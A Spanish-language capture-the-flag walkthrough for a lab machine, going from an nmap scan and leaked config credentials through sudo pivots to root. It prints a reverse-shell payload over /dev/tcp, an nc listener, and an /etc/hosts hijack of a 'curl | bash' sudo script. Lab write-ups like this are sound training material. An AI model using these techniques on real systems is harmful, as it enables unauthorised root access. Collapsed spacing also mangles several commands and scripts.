Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-23 06:55 EDT
Nmap scan report for 192.168.5.200
Host is up (0.00023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5f:cd:98:ac:0e:76:be:d0:9c:ae:23:47:8d:03:b5:07 (RSA)
| 256 f5:cb:de:f0:89:dc:ff:56:89:44:05:3c:a3:44:8f:70 (ECDSA)
|_ 256 3a:94:cc:9e:aa:ab:7d:64:71:26:49:48:02:07:62:30 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:AD:2C:E8 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.84 seconds
SI nos vamos al puerto 80 e inspeccionamos la pagina, veremos lo siguiente...
<!-- bassam.ctf -->
Veremos que es un dominio, por lo que lo meteremos en el hosts...
sudonano/etc/hosts#Dentro del nano<IP> bassam.ctf
Una vez hecho esto ponemos el dominio en el navegador...
Pero si metemos el /config.php que nos encontramos con gobuster el cual puede contener credenciales, tambien nos lo descargara...
<?php$user='test';$pass='test123';?>
Por lo que vemos nos da unas credenciales...
Si pobramos eso a conectarnos por ssh veremos que son las credenciales validas...
sshtest@<IP>
Y metiendo la contraseña ya estariamos dentro...
Si nos vamos a la siguiente ubicacion...
cd/var/www/ctf
Veremos un archivo llamado MySecretPassword pero si lo vemos con cat solo veremos espacion y nada asi interesante, por lo que podria ser un mensaje codificado en espacios y tiene que ser interpretado mediante un patron...
cat-AMySecretPassword
Info:
$
$
$
$
$
$
$
$
Por lo que se ve sigue un patron, por lo que haremos lo siguiente...
nano/tmp/decode.sh#Dentro del nano#!/bin/bashwhile IFS=read-rline; do count=$(echo"$line"|grep-o' '|wc-l)if [ "$count"-gt32 ]; then# Assuming a basic offset of 32 (for space character in ASCII) ascii=$((count))printf"%d ""$ascii"elseprintf"%s""$line"fidone< MySecretPasswordecho
chmod+x/tmp/decode.sh
/tmp/decode.sh
Info:
107 105 114 97 50 48 48 51
Nos dara esos numeros en hexadecimal por lo que lo pasaremos a ascii de la siguiente forma...
nano/tmp/ascii.sh#Dentro del nano#!/bin/bash# Números obtenidosnumbers=(1071051149750484851)# Convertir cada número a un carácterfor num in"${numbers[@]}"; doprintf"\\$(printf%o "$num")"doneecho
chmod+x/tmp/ascii.sh
/tmp/ascii.sh
Info:
kira2003
Por lo que veremos la contraseña del usuario kira es kira2003...
User = kira
Password = kira2003
Si hacemos sudo -l veremos lo siguiente...
Matching Defaults entries for kira on kira:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User kira may run the following commands on kira:
(bassam) /home/kira/test.sh
Podremos ejecutar como bassam el .sh...
Dentro de la carpeta de kira haremos lo siguiente...
nanoshell.sh#Dentro del nano#!/bin/bash/bin/bash
chmod+xshell.sh
sudo-ubassam/home/kira/test.sh/home/kira/shell.sh
Info:
your name
bash
/home/kira/test.sh: 3: /home/kira/test.sh: cannot create /home/kali/message.txt: Directory nonexistent
whoami
bassam
Por lo que ya seriamos el usuario bassam ahora nos importamos una shell mas bonita...
script/dev/null-cbash
Si hacemos sudo -l veremos lo siguiente...
Matching Defaults entries for bassam on kira:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bassam may run the following commands on kira:
(root) NOPASSWD: /home/bassam/down.sh
Podemos ejecutar ese .sh como el usuario root...
Veremos como es por dentro ese script.sh...
curl"http://mywebsite.test/script.sh"|bash
Vemos que esta haciendo una llamada con curl a un sitio web que no existe resuelto por un dominio para ver el contenido de ese script.sh pero a la vez esta ejecutando con bash lo que haya en su interior, por lo que si cogemos ese dominio y lo resolvemos para que haga conexion en nuestra maquina con el script malicioso que pongamos lo ejecutara como root...
En nuestra maquina host crearemos el siguiente archivo...
nanoscript.sh#Dentro del nano#!/bin/bashbash-i>&/dev/tcp/<IP>/<PORT>0>&1
chmod+xscript.sh
Abrimos un servidor de python3 para que curl lo pueda coger...
python3-mhttp.server80
Y a la vez estaremos a la escucha...
nc-lvnp<PORT>
Si dentro de la maquina victima hacemos lo siguiente...
nano/etc/hosts#Dentro del nano<IP_ATACANTE> mywebsite.test
Veremos que si podemos guardarlo para que cuando se ejecute el script se este ejecutando en nuestra IP de nuestro hosts donde tenemos ese script.sh malicioso con una Reverse Shell...
sudo/home/bassam/down.sh
Info:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 56 100 56 0 0 3111 0 --:--:-- --:--:-- --:--:-- 3111
Se quedara pensando y si nos vamos a donde teniamos la escucha, veremos que nos hizo una shell con root perfectamente...
connect to [192.168.5.199] from (UNKNOWN) [192.168.5.200] 54748
root@kira:/home/bassam# whoami
whoami
root